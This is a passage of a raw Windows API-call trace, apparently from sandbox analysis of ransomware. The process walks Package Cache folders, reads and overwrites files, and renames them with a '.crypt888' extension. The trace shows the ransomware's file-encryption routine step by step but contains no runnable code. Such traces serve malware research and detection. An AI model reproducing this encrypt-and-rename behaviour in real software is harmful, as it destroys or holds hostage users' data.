1 [0090.081] FindNextFileW (in: hFindFile=0x59a3a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.081] FindNextFileW (in: hFindFile=0x59a3a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.081] FindNextFileW (in: hFindFile=0x59a3a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.081] FindNextFileW (in: hFindFile=0x59a3a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0090.081] FindNextFileW (in: hFindFile=0x59a3a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.081] FindNextFileW (in: hFindFile=0x59a3a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.081] FindNextFileW (in: hFindFile=0x59a3a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.081] FindNextFileW (in: hFindFile=0x59a3a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0090.082] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.082] GetFileType (hFile=0x174) returned 0x1 [0090.082] GetFileType (hFile=0x174) returned 0x1 [0090.082] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.082] ReadFile (in: hFile=0x174, lpBuffer=0x2883b4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2883b4c*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.101] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.103] GetFileType (hFile=0x174) returned 0x1 [0090.103] GetFileType (hFile=0x174) returned 0x1 [0090.103] WriteFile (in: hFile=0x174, lpBuffer=0x26d2968*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x26d2968*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0090.104] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\hack.html.crypt888")) returned 1 [0090.105] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.105] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.105] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.105] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.105] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.105] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.106] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.106] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.106] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.106] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.106] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.106] GetFileType (hFile=0x174) returned 0x1 [0090.106] GetFileType (hFile=0x174) returned 0x1 [0090.106] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0090.106] ReadFile (in: hFile=0x174, lpBuffer=0x26d7044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26d7044*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0090.124] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.125] GetFileType (hFile=0x174) returned 0x1 [0090.125] GetFileType (hFile=0x174) returned 0x1 [0090.126] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\hack.html.crypt888")) returned 1 [0090.127] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.127] GetFileType (hFile=0x174) returned 0x1 [0090.127] GetFileType (hFile=0x174) returned 0x1 [0090.128] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.128] GetFileType (hFile=0x174) returned 0x1 [0090.128] GetFileType (hFile=0x174) returned 0x1 [0090.129] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.139] GetFileType (hFile=0x174) returned 0x1 [0090.140] GetFileType (hFile=0x174) returned 0x1 [0090.140] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.141] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.141] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.141] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.141] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.141] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.141] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.141] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.141] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.141] GetFileType (hFile=0x174) returned 0x1 [0090.141] GetFileType (hFile=0x174) returned 0x1 [0090.141] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.141] ReadFile (in: hFile=0x174, lpBuffer=0x2730624, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2730624*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.155] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.156] GetFileType (hFile=0x174) returned 0x1 [0090.156] GetFileType (hFile=0x174) returned 0x1 [0090.156] WriteFile (in: hFile=0x174, lpBuffer=0x277e7e4*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x277e7e4*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0090.157] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\hack.html.crypt888")) returned 1 [0090.158] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.158] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.158] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.158] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0090.158] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.158] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.158] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.159] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0090.159] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.159] GetFileType (hFile=0x174) returned 0x1 [0090.159] GetFileType (hFile=0x174) returned 0x1 [0090.159] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.159] ReadFile (in: hFile=0x174, lpBuffer=0x2782318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2782318*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.173] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.174] GetFileType (hFile=0x174) returned 0x1 [0090.174] GetFileType (hFile=0x174) returned 0x1 [0090.174] WriteFile (in: hFile=0x174, lpBuffer=0x27d04e8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x27d04e8*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0090.176] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\hack.html.crypt888")) returned 1 [0090.176] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.176] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.177] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.177] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.177] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.177] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.177] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.177] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.177] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.177] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.177] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.177] GetFileType (hFile=0x174) returned 0x1 [0090.177] GetFileType (hFile=0x174) returned 0x1 [0090.177] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0090.178] ReadFile (in: hFile=0x174, lpBuffer=0x27d4c94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27d4c94*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0090.193] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.194] GetFileType (hFile=0x174) returned 0x1 [0090.194] GetFileType (hFile=0x174) returned 0x1 [0090.195] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\hack.html.crypt888")) returned 1 [0090.196] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.196] GetFileType (hFile=0x174) returned 0x1 [0090.196] GetFileType (hFile=0x174) returned 0x1 [0090.197] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.199] GetFileType (hFile=0x174) returned 0x1 [0090.199] GetFileType (hFile=0x174) returned 0x1 [0090.200] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.202] GetFileType (hFile=0x174) returned 0x1 [0090.202] GetFileType (hFile=0x174) returned 0x1 [0090.203] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.203] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.203] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.203] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.203] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.203] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.203] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.203] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.203] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.203] GetFileType (hFile=0x174) returned 0x1 [0090.203] GetFileType (hFile=0x174) returned 0x1 [0090.204] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.204] ReadFile (in: hFile=0x174, lpBuffer=0x282e128, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x282e128*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.218] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.219] GetFileType (hFile=0x174) returned 0x1 [0090.219] GetFileType (hFile=0x174) returned 0x1 [0090.219] WriteFile (in: hFile=0x174, lpBuffer=0x287c2e8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x287c2e8*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0090.220] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\hack.html.crypt888")) returned 1 [0090.221] FindNextFileW (in: hFindFile=0x59a4a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.221] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.221] GetFileType (hFile=0x174) returned 0x1 [0090.222] GetFileType (hFile=0x174) returned 0x1 [0090.222] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.222] ReadFile (in: hFile=0x174, lpBuffer=0x287fe00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x287fe00*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.274] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.275] GetFileType (hFile=0x174) returned 0x1 [0090.275] GetFileType (hFile=0x174) returned 0x1 [0090.275] WriteFile (in: hFile=0x174, lpBuffer=0x26cec18*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x26cec18*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0090.277] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\hack.html.crypt888")) returned 1 [0090.277] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.278] GetFileType (hFile=0x174) returned 0x1 [0090.278] GetFileType (hFile=0x174) returned 0x1 [0090.278] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0090.278] ReadFile (in: hFile=0x174, lpBuffer=0x26d32c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26d32c0*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0090.300] CreateFileW (lpFileName="C:\\Users\\All Users\\Package 